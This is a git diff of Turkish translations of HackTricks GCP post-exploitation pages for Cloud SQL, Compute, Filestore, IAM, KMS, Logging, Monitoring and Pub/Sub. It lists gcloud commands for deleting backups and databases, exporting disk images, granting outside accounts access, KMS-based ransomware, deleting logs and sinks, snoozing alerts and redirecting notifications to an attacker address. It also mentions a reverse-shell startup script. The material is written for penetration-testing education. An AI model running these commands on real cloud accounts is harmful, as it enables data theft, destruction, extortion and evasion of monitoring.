-Daha gizli bir şekilde yapmak için, mevcut çalışan veritabanlarında değil, yeni bir SQL örneği oluşturup verileri orada kurtarmak önerilir.
+
+
+Bunu daha gizli bir şekilde yapmak için, mevcut çalışır durumda olan veritabanları yerine yeni bir SQL instance oluşturarak verileri orada kurtarmanız önerilir.
### `cloudsql.backupRuns.delete`
Bu izin, yedekleri silmeye olanak tanır:
+
+
+
+Yedeği sil
```bash
gcloud sql backups delete --instance
```
+
+
### `cloudsql.instances.export`, `storage.objects.create`
-**Bir veritabanını** Cloud Storage Bucket'a aktarın, böylece oradan erişebilirsiniz:
+**Bir veritabanını dışa aktarın** bir Cloud Storage Bucket'a, böylece oradan erişebilirsiniz:
+
+
+
+Veritabanını bucket'a dışa aktar
```bash
# Export sql format, it could also be csv and bak
gcloud sql export sql --database
```
+
+
### `cloudsql.instances.import`, `storage.objects.get`
-**Bir veritabanını içe aktar** (üzerine yaz) bir Cloud Storage Bucket'tan:
+**Bir veritabanı içe aktar** (üstüne yaz) Cloud Storage Bucket'tan:
+
+
+
+Bucket'tan veritabanı içe aktar
```bash
# Import format SQL, you could also import formats bak and csv
gcloud sql import sql
```
+
+
### `cloudsql.databases.delete`
-Bir veritabanını db örneğinden sil:
+db instance'ten bir veritabanını sil:
+
+
+
+Veritabanı sil
```bash
gcloud sql databases delete --instance
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md
index b514fedd3..e7525f7f4 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md
@@ -1,40 +1,50 @@
-# GCP - Compute Post Exploitation
+# GCP - Compute Sömürü Sonrası
{{#include ../../../banners/hacktricks-training.md}}
## Compute
-Compute ve VPC (Ağ) hakkında daha fazla bilgi için kontrol edin:
+Compute ve VPC (Networking) hakkında daha fazla bilgi için bakınız:
{{#ref}}
../gcp-services/gcp-compute-instances-enum/
{{#endref}}
-### Görüntüleri Yerel Olarak Dışa Aktarma ve İnceleme
+### Görüntüleri yerel olarak dışa aktar ve incele
-Bu, bir saldırganın **zaten mevcut görüntülerde bulunan verilere erişmesine** veya **çalışan VM'lerin yeni görüntülerini oluşturmasına** ve çalışan VM'ye erişim olmadan verilerine ulaşmasına olanak tanır.
+Bu, bir saldırganın **halihazırda var olan görüntülerin içinde bulunan verilere erişmesine** veya **çalışan VM'lerin yeni image'larını oluşturarak** bu verilere, çalışan VM'ye erişimi olmadan ulaşmasına olanak tanır.
-Bir VM görüntüsünü bir kovaya dışa aktarmak ve ardından indirmek ve yerel olarak bağlamak mümkündür:
+Bir VM image'ını bir bucket'a dışa aktarmak, sonra indirmek ve aşağıdaki komutla yerelde mount etmek mümkündür:
+
+
+
+VM image'ını dışa aktar ve indir
```bash
gcloud compute images export --destination-uri gs:///image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally
```
-Bu işlemi gerçekleştirmek için saldırganın depolama kovası üzerinde yetkilere ve kesinlikle **cloudbuild üzerinde yetkilere** ihtiyacı olabilir, çünkü bu **hizmet** dışa aktarma işlemini gerçekleştirmesi istenecektir.\
+
+
+Bu işlemi gerçekleştirmek için saldırganın storage bucket üzerinde ayrıcalıklara ihtiyaç duyabilir ve kesinlikle **cloudbuild üzerindeki ayrıcalıklara** sahip olması gerekir çünkü dışa aktarmayı gerçekleştirmesi istenecek olan **hizmet**dir.\
Ayrıca, bunun çalışması için codebuild SA ve compute SA'nın ayrıcalıklı izinlere ihtiyacı vardır.\
-Cloudbuild SA `@cloudbuild.gserviceaccount.com` için gerekli izinler:
+cloudbuild SA `@cloudbuild.gserviceaccount.com` şunlara ihtiyaç duyar:
- roles/iam.serviceAccountTokenCreator
- roles/compute.admin
- roles/iam.serviceAccountUser
-Ve SA `-compute@developer.gserviceaccount.com` için gerekli izinler:
+Ve SA `-compute@developer.gserviceaccount.com` şunlara ihtiyaç duyar:
-- roles/compute.storageAdmin
+- oles/compute.storageAdmin
- roles/storage.objectAdmin
-### Snapshots & Diskleri Yerel Olarak Dışa Aktarma ve İnceleme
+### Snapshots & Disks'i Yerelde Dışa Aktarma ve İnceleme
-Snapshot ve diskleri doğrudan dışa aktarmak mümkün değildir, ancak **bir snapshot'ı bir diske, bir diski bir imaja dönüştürmek** ve **önceki bölümdeki** adımları takip ederek o imajı dışa aktarmak mümkündür.
+Snapshots ve diskleri doğrudan dışa aktarmak mümkün değildir, ancak bir **snapshot'ı diske, bir diski imaja dönüştürmek** ve **önceki bölüm**deki gibi o imajı dışa aktararak yerelde incelemek mümkündür
+
+
+
+Snapshot'tan disk oluşturma ve diskten imaj oluşturma
```bash
# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
@@ -42,65 +52,115 @@ gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --
# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
```
-### Bir VM Oluşturarak Bir Görüntüyü İnceleme
+
-Bir saldırganın **bir görüntü oluşturduğu** yerden **bir görüntüde depolanan verilere** veya **çalışan bir VM'ye** erişim sağlama amacıyla, bir dış hesaba görüntüye erişim izni vermek mümkündür:
+### VM oluşturan image'i inceleme
+
+Bir saldırganın **image içinde depolanan veriler** veya **çalışan VM** içindekilere, saldırganın **bir image oluşturduğu** yerden erişmeyi amaçlaması durumunda, dış bir hesaba image üzerinde erişim vermek mümkündür:
+
+
+
+Image'e erişim ver ve VM oluştur
```bash
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'
```
-ve ardından ondan yeni bir VM oluşturun:
+
+
+ve sonra bundan yeni bir VM oluşturun:
+
+
+
+Görüntüden VM instance oluştur
```bash
gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
```
-Eğer dış hesabınıza görüntü üzerinden erişim veremiyorsanız, kurbanın projesinde o görüntüyü kullanarak bir VM başlatabilir ve **metadata'yı bir ters shell çalıştıracak şekilde ayarlayarak** görüntüye erişim sağlayabilirsiniz, parametreyi ekleyerek:
+
+
+Harici hesabınıza image üzerinden erişim veremiyorsanız, hedefin projesinde bu image'ı kullanarak bir VM başlatabilir ve **metadata'nın bir reverse shell çalıştırmasını sağlayarak** image'a erişebilirsiniz; parametreyi ekleyin:
+
+
+
+metadata'de reverse shell içeren VM oluştur
```bash
--metadata startup-script='#! /bin/bash
echo "hello"; '
```
-### Bir Anlık Görüntüyü/Disk'i Bir VM'ye Bağlayarak İnceleme
+
-**Bir diskte veya anlık görüntüde depolanan verilere erişim sağlama amacıyla, anlık görüntüyü bir diske, diski bir görüntüye dönüştürebilir ve önceki adımları takip edebilirsiniz.**
+### Snapshot/Disk'i bir VM'ye bağlayarak inceleyin
-Ya da **bir dış hesaba disk üzerinde erişim verebilirsiniz** (başlangıç noktası bir anlık görüntü ise, anlık görüntüye erişim verin veya ondan bir disk oluşturun):
+Bir disk veya snapshot içinde depolanan **verilere erişmeyi amaçlıyorsanız, snapshot'ı diske, diski bir image'e dönüştürebilir ve önceki adımları izleyebilirsiniz.**
+
+Veya diske **dış bir hesabın erişimini verebilirsiniz** (başlangıç noktası snapshot ise snapshot'a erişim verin veya ondan bir disk oluşturun):
+
+
+
+Diske erişim verin
```bash
gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'
```
-**Bir diski** bir örneğe ekleyin:
+
+
+**Diski bir instance'a bağlayın:**
+
+
+
+Diski instance'a bağlayın
```bash
gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]
```
-Diski VM içinde bağlayın:
+
-1. **VM'ye SSH ile bağlanın**:
+VM içinde diski mount edin:
+
+1. **SSH ile VM'e bağlanın**:
+
+
+
+SSH ile VM'e bağlanın ve diski mount edin
```sh
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
```
-2. **Diski Tanımlayın**: VM'ye girdikten sonra, disk cihazlarını listeleyerek yeni diski tanımlayın. Genellikle, `/dev/sdb`, `/dev/sdc` gibi bulabilirsiniz.
-3. **Diski Formatlayın ve Bağlayın** (eğer yeni veya ham bir diskse):
+
-- Bir bağlama noktası oluşturun:
+2. **Diski belirleyin**: VM'in içine girdikten sonra, disk aygıtlarını listeleyerek yeni diski belirleyin. Genellikle `/dev/sdb`, `/dev/sdc` gibi bulunur.
+3. **Diski formatlayın ve mount edin** (eğer yeni veya raw bir disk ise):
+
+- Bir mount noktası oluşturun:
+
+
+
+Mount noktası oluştur ve mount et
```sh
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
```
-- Diski bağlayın:
+
+
+- Diski mount edin:
+
+
+
+Disk aygıtını mount et
```sh
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
```
-Eğer **snapshot veya diske dış bir projeye erişim veremiyorsanız**, bu işlemleri **snapshot/disk ile aynı projedeki bir örnek içinde gerçekleştirmeniz gerekebilir**.
+
+
+Eğer **snapshot veya diske bir external project'e erişim veremiyorsanız**, bu işlemleri **snapshot/disk ile aynı project içindeki bir instance içinde** gerçekleştirmeniz gerekebilir.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md
index c2deeddbe..db558eca9 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md
@@ -1,18 +1,22 @@
-# GCP - Filestore Post Exploitation
+# GCP - Filestore Sömürü Sonrası
{{#include ../../../banners/hacktricks-training.md}}
## Filestore
-Filestore hakkında daha fazla bilgi için kontrol edin:
+Filestore hakkında daha fazla bilgi için bakınız:
{{#ref}}
../gcp-services/gcp-filestore-enum.md
{{#endref}}
-### Filestore'u Bağla
+### Mount Filestore
-Paylaşılan bir dosya sistemi **saldırganlar açısından ilginç hassas bilgileri içerebilir**. Filestore'a erişim ile **onu bağlamak** mümkündür:
+Paylaşılan bir dosya sistemi, saldırgan açısından ilgi çekici olabilecek **hassas bilgiler** içerebilir. Filestore'a erişimle bunu **bağlamak** mümkündür:
+
+
+
+Filestore dosya sistemini bağlama
```bash
sudo apt-get update
sudo apt-get install nfs-common
@@ -22,15 +26,21 @@ showmount -e
mkdir /mnt/fs
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs
```
-Filestore örneğinin IP adresini bulmak için sayfanın numaralandırma bölümünü kontrol edin:
+
+
+Bir Filestore instance'ın IP address'ini bulmak için sayfadaki enumeration bölümünü kontrol edin:
{{#ref}}
../gcp-services/gcp-filestore-enum.md
{{#endref}}
-### Kısıtlamaları Kaldırın ve Ek İzinler Alın
+### Kısıtlamaları kaldırma ve ek izinler alma
-Eğer saldırgan paylaşıma erişimi olan bir IP adresinde değilse, ancak bunu değiştirmek için yeterli izniniz varsa, kısıtlamaları kaldırmak veya buna erişim sağlamak mümkündür. Ayrıca, paylaşıma yönetici erişimi sağlamak için IP adresinize daha fazla ayrıcalık vermek de mümkündür:
+Eğer attacker, share üzerinde erişimi olan bir IP address'te değilse, ancak onu değiştirmek için yeterli permissions'a sahipseniz, kısıtlamaları veya erişimi kaldırmak mümkün olabilir. Ayrıca IP address'inize daha fazla ayrıcalık vererek share üzerinde admin access elde etmek de mümkün olabilir:
+
+
+
+Filestore instance'ını erişime izin verecek şekilde güncelle
```bash
gcloud filestore instances update nfstest \
--zone= \
@@ -56,9 +66,15 @@ gcloud filestore instances update nfstest \
}
}
```
-### Yedekleme Geri Yükleme
+
-Eğer bir yedekleme varsa, mevcut veya yeni bir örnekte **geri yüklemek** mümkündür, böylece **bilgileri erişilebilir hale gelir:**
+### Yedeği geri yükleme
+
+Bir yedek varsa, mevcut bir instance'a veya yeni bir instance'a **geri yükleyerek** onun **bilgilerine erişmek** mümkündür:
+
+
+
+Yeni instance oluştur ve yedeği geri yükle
```bash
# Create a new filestore if you don't want to modify the old one
gcloud filestore instances create \
@@ -76,9 +92,15 @@ gcloud filestore instances restore \
# Follow the previous section commands to mount it
```
-### Yedek oluşturun ve geri yükleyin
+
-Eğer **bir paylaşıma erişiminiz yoksa ve onu değiştirmek istemiyorsanız**, onun **yedekini oluşturmak** ve daha önce bahsedildiği gibi **geri yüklemek** mümkündür:
+### Yedek oluşturma ve geri yükleme
+
+Eğer bir paylaşıma **erişiminiz yoksa ve onu değiştirmek istemiyorsanız**, ona **yedek oluşturmak** ve daha önce bahsedildiği gibi **geri yüklemek** mümkündür:
+
+
+
+Yeni instance'da yedek oluşturma ve geri yükleme
```bash
# Create share backup
gcloud filestore backups create \
@@ -89,4 +111,6 @@ gcloud filestore backups create \
# Follow the previous section commands to restore it and mount it
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md
index 6c9cc381c..40685abd0 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md
@@ -4,7 +4,7 @@
## IAM
-IAM hakkında daha fazla bilgi bulabilirsiniz:
+IAM hakkında daha fazla bilgiyi şurada bulabilirsiniz:
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
@@ -12,15 +12,21 @@ IAM hakkında daha fazla bilgi bulabilirsiniz:
### Yönetim konsoluna erişim verme
-[GCP yönetim konsoluna](https://console.cloud.google.com) erişim **kullanıcı hesaplarına, hizmet hesaplarına değil** **verilir**. Web arayüzüne giriş yapmak için, kontrol ettiğiniz bir **Google hesabına erişim verebilirsiniz**. Bu, genel bir "**@gmail.com**" hesabı olabilir, **hedef organizasyonun üyesi olması gerekmez**.
+[GCP management console](https://console.cloud.google.com) erişimi **service accounts değil, user accounts'a verilir**. Web arayüzüne giriş yapmak için kontrol ettiğiniz bir **Google account**a erişim verebilirsiniz. Bu, hedef organizasyonun üyesi olması gerekmeyen genel bir "**@gmail.com**" hesabı olabilir.
-Ancak, genel bir "@gmail.com" hesabına **Sahip** temel rolünü **vermek** için **web konsolunu kullanmanız** gerekecek. `gcloud`, ona Editör'ün üzerindeki bir izin vermeye çalışırsanız hata verecektir.
+Bununla birlikte, genel bir "@gmail.com" hesabına **Owner** gibi bir primitive rolü **grant** etmek istiyorsanız, **web console'u kullanmanız** gerekir. `gcloud`, Editor'ın üzerindeki bir izni vermeye çalışırsanız hata verecektir.
-Mevcut projenize bir kullanıcıya **Editör** temel rolünü **vermek** için aşağıdaki komutu kullanabilirsiniz:
+Mevcut projenize bir kullanıcıya **Editor** primitive rolünü **grant** etmek için aşağıdaki komutu kullanabilirsiniz:
+
+
+
+Kullanıcıya Editor rolü verme
```bash
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
```
-Eğer burada başarılı olduysanız, **web arayüzüne erişmeyi** deneyin ve oradan keşfe çıkın.
+
+
+Eğer burada başarılı olduysanız, **web arayüzüne erişmeyi** ve oradan keşfetmeyi deneyin.
Bu, **gcloud aracı kullanarak atayabileceğiniz en yüksek seviyedir**.
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md
index bcc062b51..6bf682df9 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md
@@ -4,7 +4,7 @@
## KMS
-KMS hakkında temel bilgileri bulmak için:
+KMS hakkında temel bilgileri şu adreste bulabilirsiniz:
{{#ref}}
../gcp-services/gcp-kms-enum.md
@@ -12,7 +12,11 @@ KMS hakkında temel bilgileri bulmak için:
### `cloudkms.cryptoKeyVersions.destroy`
-Bu izne sahip bir saldırgan, bir KMS sürümünü yok edebilir. Bunu yapmak için önce anahtarı devre dışı bırakmanız ve ardından yok etmeniz gerekir:
+Bu izne sahip bir saldırgan KMS sürümünü yok edebilir. Bunu yapmak için önce anahtarı devre dışı bırakmalı ve ardından yok etmelisiniz:
+
+
+
+Anahtar sürümünü devre dışı bırak ve yok et (Python)
```python
# pip install google-cloud-kms
@@ -57,22 +61,28 @@ disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)
# Destroy the key version
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
```
+
+
### KMS Ransomware
-AWS'de, KMS kaynak politikasını değiştirerek ve yalnızca saldırganın hesabının anahtarı kullanmasına izin vererek bir KMS anahtarını tamamen **çalmak** mümkündür. Bu kaynak politikaları GCP'de mevcut olmadığından, bu mümkün değildir.
+AWS'ta tamamen **bir KMS anahtarını çalmak** mümkündür; bunun için KMS resource policy'sini değiştirip yalnızca saldırganın hesabının anahtarı kullanmasına izin verilir. GCP'de bu tür resource policy'ler olmadığından bu mümkün değildir.
-Ancak, aşağıdaki adımları içeren küresel bir KMS Ransomware gerçekleştirmek için başka bir yol vardır:
+Ancak, global bir KMS Ransomware gerçekleştirmek için başka bir yol vardır; bu şu adımları içerir:
-- Saldırgan tarafından içe aktarılan bir anahtar materyali ile yeni bir **anahtar versiyonu oluşturun**
+- Saldırgan tarafından içe aktarılan bir key material ile anahtarın yeni bir **sürümünü oluşturmak**
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
```
-- Bunu **varsayılan sürüm** olarak ayarlayın (gelecekte şifrelenen veriler için)
-- Önceki sürümle şifrelenmiş **eski verileri** yeni sürümle **yeniden şifreleyin**.
+- Bunu **varsayılan sürüm** olarak ayarlayın (gelecekte şifrelenecek veriler için)
+- **Eski verileri yeniden şifreleyin** (önceki sürümle şifrelenmiş verileri yeni sürümle)
- **KMS anahtarını silin**
-- Artık yalnızca orijinal anahtar materyaline sahip olan saldırgan, şifrelenmiş verileri çözebilir
+- Artık yalnızca orijinal anahtar materyaline sahip olan saldırgan şifrelenmiş verileri çözebilir
-#### Yeni bir sürümü içe aktarma ve eski verileri devre dışı bırakma/silme adımları:
+#### İşte yeni bir sürüm içe aktarmak ve eski verileri devre dışı bırakmak/silmek için adımlar:
+
+
+
+Yeni anahtar sürümünü içe aktarın ve eski sürümü silin
```bash
# Encrypt something with the original key
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
@@ -146,7 +156,13 @@ gcloud kms keys versions destroy \
--version 1
```
+
+
### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`
+
+
+
+Simetrik anahtarla veriyi şifreleme (Python)
```python
from google.cloud import kms
import base64
@@ -181,7 +197,13 @@ plaintext = 'your-data-to-encrypt'
ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)
```
+
+
### `cloudkms.cryptoKeyVersions.useToSign`
+
+
+
+Asimetrik anahtarla mesajı imzala (Python)
```python
import hashlib
from google.cloud import kms
@@ -215,7 +237,13 @@ message = 'your-message'
signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message)
print('Signature:', signature)
```
+
+
### `cloudkms.cryptoKeyVersions.useToVerify`
+
+
+
+Asimetrik anahtarla imzayı doğrula (Python)
```python
from google.cloud import kms
import hashlib
@@ -242,4 +270,6 @@ return verify_response.success
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
index 1464cb3c0..d1415859a 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
@@ -4,27 +4,31 @@
## Temel Bilgiler
-Daha fazla bilgi için kontrol edin:
+Daha fazla bilgi için bakın:
{{#ref}}
../gcp-services/gcp-logging-enum.md
{{#endref}}
-Diğer izleme kesintisi yolları için kontrol edin:
+İzlemeyi bozmanın diğer yolları için bakın:
{{#ref}}
gcp-monitoring-post-exploitation.md
{{#endref}}
-### Varsayılan Günlükleme
+### Varsayılan Logging
-**Varsayılan olarak, yalnızca okuma eylemleri gerçekleştirdiğiniz için yakalanmazsınız. Daha fazla bilgi için Logging Enum bölümüne bakın.**
+**Varsayılan olarak sadece okuma işlemleri gerçekleştirmeniz nedeniyle yakalanmazsınız. Daha fazla bilgi için Logging Enum bölümüne bakın.**
-### Hariç Tutulan Prensip Ekleyin
+### Add Excepted Principal
-[https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) ve [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) adreslerinde günlük oluşturmamak için prensipler eklemek mümkündür. Bir saldırgan, yakalanmamak için bunu kötüye kullanabilir.
+In [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) and [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) is possible to add principals to not generate logs. An attacker could abuse this to prevent being caught.
-### Günlükleri Oku - `logging.logEntries.list`
+### Read logs - `logging.logEntries.list`
+
+
+
+Günlük girişlerini oku
```bash
# Read logs
gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
@@ -34,58 +38,124 @@ gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=
# Use these options to indicate a different bucket or view to use: --bucket=_Required --view=_Default
```
+
+
### `logging.logs.delete`
+
+
+
+Log girişlerini sil
```bash
# Delete all entries from a log in the _Default log bucket - logging.logs.delete
gcloud logging logs delete
```
-### Logları Yaz - `logging.logEntries.create`
+
+
+### Günlük yazma - `logging.logEntries.create`
+
+
+
+Günlük girişi yaz
```bash
# Write a log entry to try to disrupt some system
gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
```
+
+
### `logging.buckets.update`
+
+
+
+Log bucket saklama süresini güncelle
```bash
# Set retention period to 1 day (_Required has a fixed one of 400days)
gcloud logging buckets update bucketlog --location= --description="New description" --retention-days=1
```
+
+
### `logging.buckets.delete`
+
+
+
+Log bucket'ı sil
```bash
# Delete log bucket
gcloud logging buckets delete BUCKET_NAME --location=
```
+
+
### `logging.links.delete`
+
+
+
+Log linkini sil
```bash
# Delete link
gcloud logging links delete --bucket --location
```
+
+
### `logging.views.delete`
+
+
+
+Logging görünümünü sil
```bash
# Delete a logging view to remove access to anyone using it
gcloud logging views delete --bucket= --location=global
```
+
+
### `logging.views.update`
+
+
+
+Verileri gizlemek için logging view'ı güncelle
```bash
# Update a logging view to hide data
gcloud logging views update --log-filter="resource.type=gce_instance" --bucket= --location=global --description="New description for the log view"
```
+
+
### `logging.logMetrics.update`
+
+
+
+Log tabanlı metrikleri güncelle
```bash
# Update log based metrics - logging.logMetrics.update
gcloud logging metrics update --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID
```
+
+
### `logging.logMetrics.delete`
+
+
+
+Log tabanlı metrikleri sil
```bash
# Delete log based metrics - logging.logMetrics.delete
gcloud logging metrics delete
```
+
+
### `logging.sinks.delete`
+
+
+
+Log sink'i sil
```bash
# Delete sink - logging.sinks.delete
gcloud logging sinks delete
```
+
+
### `logging.sinks.update`
+
+
+
+Log sink'ini güncelle/engelle
```bash
# Disable sink - logging.sinks.update
gcloud logging sinks update --disabled
@@ -106,4 +176,6 @@ gcloud logging sinks update SINK_NAME --clear-exclusions
gcloud logging sinks update SINK_NAME --use-partitioned-tables
gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md
index 495ee560f..76f949ded 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md
@@ -1,16 +1,16 @@
-# GCP - İzleme Sonrası Sömürü
+# GCP - İzleme Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## İzleme
-Daha fazla bilgi için kontrol edin:
+Daha fazla bilgi için bakınız:
{{#ref}}
../gcp-services/gcp-monitoring-enum.md
{{#endref}}
-Logları bozmanın diğer yolları için kontrol edin:
+Logları bozmanın diğer yolları için bakınız:
{{#ref}}
gcp-logging-post-exploitation.md
@@ -18,13 +18,23 @@ gcp-logging-post-exploitation.md
### `monitoring.alertPolicies.delete`
-Bir uyarı politikasını sil:
+Bir alert policy'yi sil:
+
+
+
+Alert policy sil
```bash
gcloud alpha monitoring policies delete
```
+
+
### `monitoring.alertPolicies.update`
-Bir uyarı politikasını bozun:
+Alert policy'yi boz:
+
+
+
+Alert policy'yi boz
```bash
# Disable policy
gcloud alpha monitoring policies update --no-enabled
@@ -39,9 +49,15 @@ gcloud alpha monitoring policies update --set-notification-channe
gcloud alpha monitoring policies update --policy="{ 'displayName': 'New Policy Name', 'conditions': [ ... ], 'combiner': 'AND', ... }"
# or use --policy-from-file
```
+
+
### `monitoring.dashboards.update`
-Bir gösterge panosunu bozmak için değiştirin:
+Bir dashboard'ı bozmak için değiştirin:
+
+
+
+Dashboard'ı boz
```bash
# Disrupt dashboard
gcloud monitoring dashboards update --config='''
@@ -53,16 +69,28 @@ widgets:
content: Hello World
'''
```
+
+
### `monitoring.dashboards.delete`
-Bir gösterge tablosunu sil:
+Bir gösterge panelini sil:
+
+
+
+Gösterge panelini sil
```bash
# Delete dashboard
gcloud monitoring dashboards delete
```
+
+
### `monitoring.snoozes.create`
-Uyarıların oluşturulmasını engellemek için bir snoozer oluşturun:
+Uyarı politikalarının alarm üretmesini, bir snoozer oluşturarak engelleyin:
+
+
+
+Uyarıları durdurmak için snoozer oluştur
```bash
# Stop alerts by creating a snoozer
gcloud monitoring snoozes create --display-name="Maintenance Week" \
@@ -70,9 +98,15 @@ gcloud monitoring snoozes create --display-name="Maintenance Week" \
--start-time="2023-03-01T03:00:00.0-0500" \
--end-time="2023-03-07T23:59:59.5-0500"
```
+
+
### `monitoring.snoozes.update`
-Bir snoozer'ın zamanlamasını güncelleyerek saldırganın ilgilendiği zamanlarda uyarıların oluşturulmasını engelleyin:
+Saldırganın ilgilendiği zamanlarda uyarıların oluşturulmasını önlemek için bir snoozer'ın zamanlamasını güncelleyin:
+
+
+
+Snoozer zamanlamasını güncelle
```bash
# Modify the timing of a snooze
gcloud monitoring snoozes update --start-time=START_TIME --end-time=END_TIME
@@ -80,19 +114,33 @@ gcloud monitoring snoozes update --start-time=START_TIME --end-time=END
# odify everything, including affected policies
gcloud monitoring snoozes update --snooze-from-file=
```
+
+
### `monitoring.notificationChannels.delete`
-Yapılandırılmış bir kanalı silin:
+Yapılandırılmış bir kanalı sil:
+
+
+
+Bildirim kanalını sil
```bash
# Delete channel
gcloud alpha monitoring channels delete
```
+
+
### `monitoring.notificationChannels.update`
-Bir kanaldaki etiketleri güncelleyerek onu kesintiye uğratın:
+Bir kanalın etiketlerini güncelleyerek onu aksatın:
+
+
+
+Bildirim kanalının etiketlerini güncelleyin
```bash
# Delete or update labels, for example email channels have the email indicated here
gcloud alpha monitoring channels update CHANNEL_ID --clear-channel-labels
gcloud alpha monitoring channels update CHANNEL_ID --update-channel-labels=email_address=attacker@example.com
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
index 2d1eba453..0f1af3d75 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md
@@ -1,10 +1,10 @@
-# GCP - Pub/Sub Sonrası İstismar
+# GCP - Pub/Sub Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Pub/Sub
-Pub/Sub hakkında daha fazla bilgi için aşağıdaki sayfayı kontrol edin:
+Pub/Sub hakkında daha fazla bilgi için aşağıdaki sayfaya bakın:
{{#ref}}
../gcp-services/gcp-pub-sub.md
@@ -12,40 +12,68 @@ Pub/Sub hakkında daha fazla bilgi için aşağıdaki sayfayı kontrol edin:
### `pubsub.topics.publish`
